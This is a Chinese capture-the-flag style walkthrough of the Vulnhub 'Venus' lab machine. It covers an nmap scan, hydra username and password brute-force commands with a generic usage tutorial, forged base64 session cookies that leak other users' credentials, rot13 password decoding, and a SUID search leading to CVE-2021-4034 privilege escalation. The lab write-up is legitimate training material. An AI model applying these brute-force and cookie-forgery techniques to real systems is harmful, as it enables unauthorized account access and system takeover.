AI摘要:本文详细介绍了使用Kali Linux对Vulnhub靶场Venus进行渗透测试的过程。首先,使用nmap工具进行信息收集,发现靶机开放的端口和运行的服务。然后,通过观察登录提示信息,使用hydra工具进行用户名爆破。接着,通过构造cookie进行绕过,获取到三个线索。最后,通过rot13解码得到密码,成功登录SSH,并利用CVE-2021-4034漏洞提权,最终获取到root权限和flag文件。

前言

在本次测试中,我们将使用Kali Linux对靶机进行渗透测试。我们的目标是理解并利用各种工具和技术,以获取对靶机的最大权限。下图展示了靶机的初步概览:

信息收集

一、信息收集

我们首先使用nmap工具对靶机进行基本的信息收集。在这个阶段,我们的目标是找出靶机上开放的端口以及运行的服务。nmap命令如下:nmap -sS -sV -A -T4 -p- 靶机IP

┌──(root㉿kali)-[~]
└─# nmap -sS -sV -A -T4 -p- 192.168.2.9
Nmap scan report for 192.168.2.9
Host is up (0.00083s latency).
Not shown: 65394 filtered tcp ports (no-response), 139 filtered tcp ports (admin-prohibited)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.5 (protocol 2.0)
| ssh-hostkey: 
|   256 b0:3e:1c:68:4a:31:32:77:53:e3:10:89:d6:29:78:50 (ECDSA)
|_  256 fd:b4:20:d0:d8:da:02:67:a4:a5:48:f3:46:e2:b9:0f (ED25519)
8080/tcp open  http-proxy WSGIServer/0.2 CPython/3.9.5
|_http-server-header: WSGIServer/0.2 CPython/3.9.5
|_http-title: Venus Monitoring Login
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Mon, 05 Feb 2024 08:59:57 GMT
|     Server: WSGIServer/0.2 CPython/3.9.5
|     Content-Type: text/html; charset=utf-8
|     X-Frame-Options: DENY
|     Content-Length: 626
|     X-Content-Type-Options: nosniff
|     Referrer-Policy: same-origin
|     <html>
|     <head>
|     <title>Venus Monitoring Login</title>
|     <style>
|     .aligncenter {
|     text-align: center;
|     label {
|     display:block;
|     position:relative;
|     </style>
|     </head>
|     <body>
|     <h1> Venus Monitoring Login </h1>
|     <h2>Please login: </h2>
|     Credentials guest:guest can be used to access the guest account.
|     <form action="/" method="post">
|     <label for="username">Username:</label>
|     <input id="username" type="text" name="username">
|     <label for="password">Password:</label>
|     <input id="username" type="text" name="password">
|     <input type="submit" value="Login">
|     </form>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.94%I=7%D=2/5%Time=65C0A38E%P=x86_64-pc-linux-gnu%r(Get
SF:Request,363,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Mon,\x2005\x20Feb\x2020
SF:24\x2008:59:57\x20GMT\r\nServer:\x20WSGIServer/0\.2\x20CPython/3\.9\.5\
SF:r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nX-Frame-Options:\x20
SF:DENY\r\nContent-Length:\x20626\r\nX-Content-Type-Options:\x20nosniff\r\
SF:nReferrer-Policy:\x20same-origin\r\n\r\n<html>\n<head>\n<title>Venus\x2
SF:0Monitoring\x20Login</title>\n<style>\n\.aligncenter\x20{\n\x20\x20\x20
SF:\x20text-align:\x20center;\n}\nlabel\x20{\n\x20\x20\x20\x20display:bloc
SF:k;\n\x20\x20\x20\x20position:relative;\n}\n</style>\n</head>\n<body>\n<
SF:h1>\x20Venus\x20Monitoring\x20Login\x20</h1>\n<h2>Please\x20login:\x20<
SF:/h2>\nCredentials\x20guest:guest\x20can\x20be\x20used\x20to\x20access\x
SF:20the\x20guest\x20account\.\n<form\x20action=\"/\"\x20method=\"post\">\
SF:n\x20\x20\x20\x20<br\x20/>\n\x20\x20\x20\x20<label\x20for=\"username\">
SF:Username:</label>\n\x20\x20\x20\x20<input\x20id=\"username\"\x20type=\"
SF:text\"\x20name=\"username\">\n\x20\x20\x20\x20<br\x20/>\n\x20\x20\x20\x
SF:20<label\x20for=\"password\">Password:</label>\n\x20\x20\x20\x20<input\
SF:x20id=\"username\"\x20type=\"text\"\x20name=\"password\">\n\x20\x20\x20
SF:\x20<br\x20/>\n\x20\x20\x20\x20<input\x20type=\"submit\"\x20value=\"Log
SF:in\">\n</form>\n\n</body>\n</html>\n")%r(HTTPOptions,363,"HTTP/1\.1\x20
SF:200\x20OK\r\nDate:\x20Mon,\x2005\x20Feb\x202024\x2008:59:57\x20GMT\r\nS
SF:erver:\x20WSGIServer/0\.2\x20CPython/3\.9\.5\r\nContent-Type:\x20text/h
SF:tml;\x20charset=utf-8\r\nX-Frame-Options:\x20DENY\r\nContent-Length:\x2
SF:0626\r\nX-Content-Type-Options:\x20nosniff\r\nReferrer-Policy:\x20same-
SF:origin\r\n\r\n<html>\n<head>\n<title>Venus\x20Monitoring\x20Login</titl
SF:e>\n<style>\n\.aligncenter\x20{\n\x20\x20\x20\x20text-align:\x20center;
SF:\n}\nlabel\x20{\n\x20\x20\x20\x20display:block;\n\x20\x20\x20\x20positi
SF:on:relative;\n}\n</style>\n</head>\n<body>\n<h1>\x20Venus\x20Monitoring
SF:\x20Login\x20</h1>\n<h2>Please\x20login:\x20</h2>\nCredentials\x20guest
SF::guest\x20can\x20be\x20used\x20to\x20access\x20the\x20guest\x20account\
SF:.\n<form\x20action=\"/\"\x20method=\"post\">\n\x20\x20\x20\x20<br\x20/>
SF:\n\x20\x20\x20\x20<label\x20for=\"username\">Username:</label>\n\x20\x2
SF:0\x20\x20<input\x20id=\"username\"\x20type=\"text\"\x20name=\"username\
SF:">\n\x20\x20\x20\x20<br\x20/>\n\x20\x20\x20\x20<label\x20for=\"password
SF:\">Password:</label>\n\x20\x20\x20\x20<input\x20id=\"username\"\x20type
SF:=\"text\"\x20name=\"password\">\n\x20\x20\x20\x20<br\x20/>\n\x20\x20\x2
SF:0\x20<input\x20type=\"submit\"\x20value=\"Login\">\n</form>\n\n</body>\
SF:n</html>\n");
MAC Address: 08:00:27:18:54:5E (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|storage-misc
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), Synology DiskStation Manager 5.X (90%), Netgear RAIDiator 4.X (87%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:linux:linux_kernel:3 cpe:/a:synology:diskstation_manager:5.2 cpe:/o:netgear:raidiator:4.2.28
Aggressive OS guesses: Linux 4.15 - 5.8 (97%), Linux 5.0 - 5.4 (97%), Linux 5.0 - 5.5 (95%), Linux 2.6.32 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.9 (91%), Linux 3.4 - 3.10 (91%), Linux 5.1 (91%), Linux 2.6.32 - 3.10 (91%), Linux 2.6.32 - 3.13 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.83 ms 192.168.2.9

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 244.26 seconds

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101

从nmap的扫描结果中,我们发现了靶机开放的两个端口:22/ssh8080/http-proxy

8080/http-proxy 端口运行着一个HTTP的代理服务。让我们用浏览器访问一下这个端口的服务。结果显示,这是一个登录页面,并提示我们可以使用guest:guest的账户密码访问来宾用户。

登录界面

我们尝试使用提供的来宾账户guest:guest登录,如下图所示,这是我们使用来宾用户的登录页面。

来宾用户登录页面

二、用户名爆破

接下来,我们删除cookie并刷新页面,发现需要重新登录。这意味着服务器端可能在cookie中存储了某种会话状态。我们可以利用这个特性进行用户名爆破。

首先,我们注意到当我们输入正确的用户名但错误的密码时,系统会返回“密码错误”的提示信息。

密码错误提示

然后,我们尝试输入一个不存在的用户名,系统返回了“无效的用户名”的提示。

无效用户名提示

这就给了我们一个很好的思路:我们可以通过这两个不同的提示信息,使用hydra工具配合directory-list-2.3-medium.txt进行基于表单的爆破,尝试找出所有有效的用户名。

hydra是一款强大的网络登录破解工具,它支持多种协议进行破解,包括但不限于FTP、HTTP、IMAP、MSSQL、MySQL、RDP、SSH、Telnet等。它的破解方式主要基于字典攻击,可以进行用户名和密码的爆破。

Hydra的基本用法

Hydra的基本命令格式如下:

hydra [选项] [服务://]目标主机 [模块选项]

这里有几个主要的选项:

  • -l LOGIN-L FILE:指定单一登录名或登录名列表文件。
  • -p PASS-P FILE:指定单一密码或密码列表文件。
  • -s PORT:如果目标服务不使用默认端口,使用此选项指定服务端口。
  • -e nsr:尝试空密码、登录名作为密码或反转登录名作为密码。
  • -C FILE:指定登录名和密码列表文件,文件中的格式为:用户 密码。
  • -t TASKS:并发任务数,默认为16。
  • -w TIME:连接超时时间,默认为30秒。
  • -f:发现成功的登录/密码对后停止。
  • -M FILE:并行攻击多个主机。

Hydra的使用示例

以下是一些Hydra的使用示例:

  1. SSH爆破:

    hydra -l root -P password.txt -vV -t 10 -u 192.168.1.108 ssh

    这个命令尝试使用root作为登录名,从password.txt文件读取密码,对IP地址为192.168.1.108的主机进行SSH服务的爆破。

  2. FTP爆破:

    hydra -l user -P pass.txt -vV -f 192.168.1.108 ftp

    这个命令尝试使用user作为登录名,从pass.txt文件读取密码,对IP地址为192.168.1.108的主机进行FTP服务的爆破。

  3. HTTP POST表单爆破:

    hydra -L user.txt -P pass.txt -f -vV 192.168.1.108 http-post-form "/login.php:username=^USER^&password=^PASS^:F=wrong"

    这个命令从user.txt文件读取登录名,从pass.txt文件读取密码,对IP地址为192.168.1.108的主机进行HTTP POST表单的爆破。

hydra -L /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -p test -s 8080 192.168.2.9 http-post-form "/:username=^USER^&password^PASS^:Invalid username."

爆破结果如下,我们得到了三个用户名:guestvenusmagellan

爆破结果

三、构造cookie进行绕过

我们已经获取了guest用户的线索,现在就测试另外两个。这两个账户的密码我们并不知道,但是我们可以尝试绕过。我们知道guest用户的密码是guest,我们可以使用Burpsuite抓取登录后的数据包,查看其中的cookie信息。

登录后的数据包

如下图所示,cookie处有一个base64的编码字符串,对其解码后的结果为guest:thrfg

cookie信息

这个发现让我们可以尝试构造cookie,将guest用户名替换为venusmagellan,然后再进行base64编码,通过Burpsuite修改cookie后再发送给靶机web服务,看看会发生什么。

我们开始构造cookie:

  • 构造第一个cookie:我们将venus:thrfg进行base64编码,得到dmVudXM6dGhyZmc=
  • 构造第二个cookie:我们将magellan:thrfg进行base64编码,得到bWFnZWxsYW46dGhyZmc=

我们把上一步抓取的数据包发送给BurpsuiteRepeater模块,修改cookie为我们构造的第一个cookie,得到了第二个线索字符串dmVudXM6aXJhaGY=

第二个线索

继续上一步的操作,修改cookie为我们构造的第二个cookie,得到了第三个线索字符串bWFnZWxsYW46aXJhaGZ2bmF0cmJ5YnRsMTk4OQ==

第三个线索

四、rot13解码

我们现在汇总我们获取的三个线索,并对它们进行base64解码:

  • 第一个:Z3Vlc3Q6dGhyZmc=的base64解码为guest:thrfg
  • 第二个:dmVudXM6aXJhaGY=的base64解码为venus:irahf
  • 第三个:bWFnZWxsYW46aXJhaGZ2bmF0cmJ5YnRsMTk4OQ==的base64解码为magellan:irahfvnatrbybtl1989

尝试使用这些信息登录SSH,但是都失败了。通过不断地尝试,我们发现密码部分可能被rot13进行编码过。我们通过rot13进行解码,就可以得到如下结果(注意,数字1989不变):

  • guest:guest
  • venus:venus
  • magellan:venusiangeology1989

通过尝试,我们发现只有magellan:venusiangeology1989 可以正常登录。

SSH登录成功

五、提权

成功登录后,我们需要尝试提升权限。我们使用命令find / -perm -u=s -exec ls -al {} \; 2>/dev/null查找具有suid权限的可执行文件,发现了我们熟悉的polkit-agent-helper-1,这是一个有漏洞的文件,可以直接利用CVE-2021-4034漏洞来提权。

提权成功

使用命令cd /root切换到root目录,发现最终的flag文件root_flag.txt。使用cat命令显示该flag文件即可完成该靶机的渗透。

获取flag

以上就是我们本次的渗透测试过程。通过这个过程,我们学习了如何使用各种工具和技术进行信息收集、用户名爆破、cookie构造、rot13解码以及利用已知漏洞进行提权。这些技术在实际的网络安全防御中都是非常重要的。